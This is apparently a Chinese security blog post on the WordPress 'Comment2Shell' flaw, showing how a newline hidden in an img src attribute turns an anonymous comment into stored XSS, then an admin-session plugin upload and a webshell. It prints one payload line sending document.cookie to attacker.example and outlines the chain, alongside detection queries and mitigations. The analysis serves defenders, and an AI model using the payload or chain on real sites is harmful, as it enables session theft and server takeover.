一条匿名评论,没有任何登录状态,最终能在你的服务器上执行任意命令。这不是假设,是 WordPress 核心在 9 月 17 日 7.1.1 版本里修掉的一个真实漏洞链:CVE-2026-93485,官方命名 "Comment2Shell"。研究它的价值不在"又一个 WordPress 洞",而在那条把存储型 XSS 变成远程代码执行的链路本身——它对任何"评论/留言/富文本"型功能都是同一套威胁模型。
漏洞速览
- 编号:CVE-2026-93485,名称 Comment2Shell
- 评分:CVSS 7.1(Patchstack 分配)
- 影响范围:WordPress 核心 4.7 到 7.1
- 修复版本:7.1.1 / 7.0.5 / 6.9.8,旧分支最老可追溯到 4.7.36
- 利用前置:评论能展示到页面上 + 一个已登录管理员访问该页面
Patchstack 给了 7.1,单看分数不高。但这是 7.1.1 修复的 11 个问题里唯一一个无需账号就能利用的漏洞,其余十个都得先登录、还得有一定权限。这层对比比分数更能说明它的实际威胁。
技术机制:一个换行符撕裂属性边界
WordPress 对评论的处理是两段式的,漏洞就卡在这两段的缝隙里。
保存评论时,pre_comment_content 过滤器会走 wp_filter_kses 那套白名单逻辑,把危险标签和属性剥掉,onerror、onload 这类事件处理器会被直接过滤。这一步是安全的。
展示评论时,comment_text() 会再对内容做一次重新格式化——wpautop 把换行转成 <p> 和 <br>,wptexturize 处理标点。问题出在这:第二次处理针对的是"已通过白名单"的内容,它默认这些内容是无害的,于是对标签结构的处理不再那么保守。
攻击者钻的空子很巧:在白名单允许的标签属性值里塞一个换行符。比如 <img> 的 src 是允许的,攻击者提交:
<img src="https://attacker.example/x.jpg
onerror=fetch('https://attacker.example/steal?c='+document.cookie)">
保存阶段,wp_filter_kses 看到的是 src 属性(合法),onerror 藏在换行符后面,被当成 src 属性值的一部分,整体通过了白名单。展示阶段,wpautop 在换行符处把这段 HTML 拆开了——换行被转成标签边界,浏览器重新解析时,onerror 从"属性值的一部分"变成了"一个独立的、生效的事件处理器"。
关键点在"自动触发":src 指向的图片加载失败,onerror 就会在页面加载时自动执行,不需要用户做任何点击或悬停。这是它比普通反射型 XSS 更狠的地方——完全被动,静默。
根因要落到"信任边界错位"上。第一段(保存)用 wp_filter_kses 对照白名单 $allowedtags,把 <a>、<img>、<blockquote>、<code> 之外的标签和所有事件属性剥掉,这是对的;但第二段(展示)的 wpautop / wptexturize 拿到的是"已被信任"的内容,于是大胆地在换行处插 <br>、重组标签结构,不再校验重组后的结构是否还安全。攻击者恰恰是让"保存时的字符串"和"展示时的 DOM 结构"不一致——字符串层面 onerror 是 src 属性值的一部分,DOM 层面它是独立属性。任何"先净化、后渲染、渲染时又改结构"的富文本管线都吃这套,WordPress 只是这次被抓了现行。
完整攻击链
把上面这个机制串起来,就是一条五步链路:
- 匿名发评论。攻击者构造恶意评论提交。WordPress 默认关闭评论审核,针对"首次评论用户"的审核也能被绕过,所以评论无需人工放行就直接上页面。
- 存储型 XSS 落盘。恶意 HTML 通过保存阶段的白名单检查,静静躺在数据库的
wp_comments表里。 - 任意访客中招。任何访问该页面的用户,浏览器都会执行这段脚本——脚本继承的是这个访客的会话和权限,而不是攻击者的。
- 等一个管理员。真正要命的一步:已登录管理员打开这个页面,脚本拿到的是管理员的完整会话(cookie + nonce)。
- 借会话上传 webshell。脚本带着管理员的 cookie 和 nonce,POST 到
/wp-admin/update.php?action=upload-plugin,上传一个 ZIP——里面是一个最小的"插件",主文件里塞一个 webshell。webshell 落地后,攻击者就能执行任意命令,站点沦陷。
第四步是整条链的放大器。XSS 本身只影响单个浏览者,但 WordPress 的插件安装接口对管理员是开放的,一旦 XSS 跑在管理员会话里,就等于拿到了服务器写文件的入口。"借管理员浏览器上传插件"这条路径是业内已知的提权套路,Comment2Shell 的新意在于把入口从"诱导管理员点一个链接"降到了"诱导管理员看一个页面"。
影响面:主题决定了你中不中招
漏洞是否可利用,取决于评论的展示方式。用块主题的站点,以及采用相同评论格式化逻辑的经典主题,会受影响;其余站点不受影响。这个条件让影响面收窄了,但也意味着判断自己中没中招,不能只看"我升没升级",还得看"我用什么主题"。
版本矩阵要记牢:4.7 到 7.1 全中。修复不是只有一个版本号,各分支都有自己的安全补丁——7.1 升 7.1.1、7.0 升 7.0.5、6.9 升 6.9.8,最老的 4.7 分支升到 4.7.36。还在用旧分支的站,别以为"我没在 7.x"就安全,每个还在收补丁的分支都得单独处理。
为什么"评论审核"救不了你
WordPress 官方声明里有一句很微妙的话:"该漏洞仅在'评论需经审核'的前提下可被利用。"乍一听像是"开了审核就没事",但 Patchstack 一句话戳破了:评论审核机制不属于安全控制措施。
审核管的是"评论是否公开显示",它防的是垃圾内容,不是恶意负载。攻击者的评论内容本身是合法的(换行符藏在属性值里,肉眼看不出问题),管理员审核时看到的就是一条普通评论,照样放行。审核这个动作在整条攻击链里根本不构成障碍。真正要防,得从别处下手。
防御与检测
升级是正解,但只升级还不够——升级只能堵住漏洞,不能撤销攻击者已经留下的 webshell。所以升级之外,还要做一次排查:
# 1. 在数据库里找可疑评论:属性值里含换行符的 img/a 标签
mysql> SELECT comment_ID, comment_post_ID, comment_author, comment_content
FROM wp_comments
WHERE comment_content LIKE '%\n%'
AND (comment_content LIKE '%onerror%'
OR comment_content LIKE '%onload%'
OR comment_content LIKE '%onmouseover%');
# 2. 找服务器上不该存在的插件目录(webshell 常伪装成插件)
ls -la wp-content/plugins/ | grep -vE 'akismet|hello.php|index.php'
# 3. 找近期新增的可疑 PHP 文件
find wp-content/ -name '*.php' -mtime -30 -ls | grep -vE '/(themes|plugins)/(已知插件名)/'
来不及升级的临时缓解:关闭单篇或全站评论,或者上 WAF/安全插件拦截构造的恶意评论。这两条都能阻断"评论上页面"这一前置条件,属于治标但立竿见影。
与 wp2shell、Click2Shell 的对照
今年 WordPress 核心已经出过好几个严重洞,容易混淆,理一下:
- wp2shell(7 月):完全未登录即可 RCE,靠的是 REST API 批量请求路由混淆(CVE-2026-63030)+ WP_Query SQL 注入(CVE-2026-60137)两条链串联,已被列入在野利用清单。
- Click2Shell(本次同步修复):诱导管理员点一个特制链接,触发主题安装,再结合主题内第二个漏洞 RCE。也需要管理员登录并点击。
- Comment2Shell(本次):匿名评论 → 存储 XSS → 管理员"看"页面 → RCE。无账号可利用,但需要一个管理员访问页面。
三个洞相互独立。但从防御角度看,它们指向同一个弱点:管理员会话的价值太高了。wp2shell 不用管理员,Comment2Shell 和 Click2Shell 都要靠管理员会话落地 RCE。把管理员账号隔离出来——单独的设备、单独的浏览器、日常浏览用低权账号——能同时削弱这三条链。
我的做法
这类"评论/富文本 → 存储 XSS → 提权"的漏洞,我自己的站和接手的站都是同一套处置顺序:
- 先断口,再升级。发现公告的第一时间不是研究怎么升,是先把评论功能关掉(
wp-admin → 设置 → 讨论 → 关闭评论),断掉攻击的前置条件,再从容升级到对应分支的修复版。 - 升级后必查 webshell。升级只堵新口,旧 webshell 还在。上面的 SQL +
find命令每次升级完都跑一遍,不跑等于没防。 - 管理员会话降权。日常写东西用编辑账号,只有要装插件、改主题时才登管理员。这样即便编辑账号的 XSS 被触发,攻击者也够不着插件安装接口,链在第四步就断了。
一句话收尾:Comment2Shell 真正值得记的,不是那个换行符的技巧,而是"XSS 的杀伤力 = 它跑在谁的会话里"这条铁律。把高权会话从日常浏览里剥离出来,比追每一个 XSS 都更划算。
⚠️ 网络安全免责声明
本文内容仅供技术研究与安全学习之用。文中描述的漏洞分析、攻击链拆解和代码示例均基于公开披露的安全研究,旨在帮助开发者理解攻击原理、提升安全意识和防御能力。
请勿将本文所述技术用于任何未经授权的安全测试、渗透攻击或非法用途。任何因滥用本文信息而造成的法律后果,由使用者自行承担,与本文作者无关。
如发现系统安全漏洞,请通过合法渠道向相关厂商或平台报告,共同维护网络安全生态。
参考来源:WordPress Comment2Shell Flaw Can Turn Anonymous Comment XSS Into RCE via Admin Session(Patchstack / FreeBuf)
浙公网安备 33010602011771号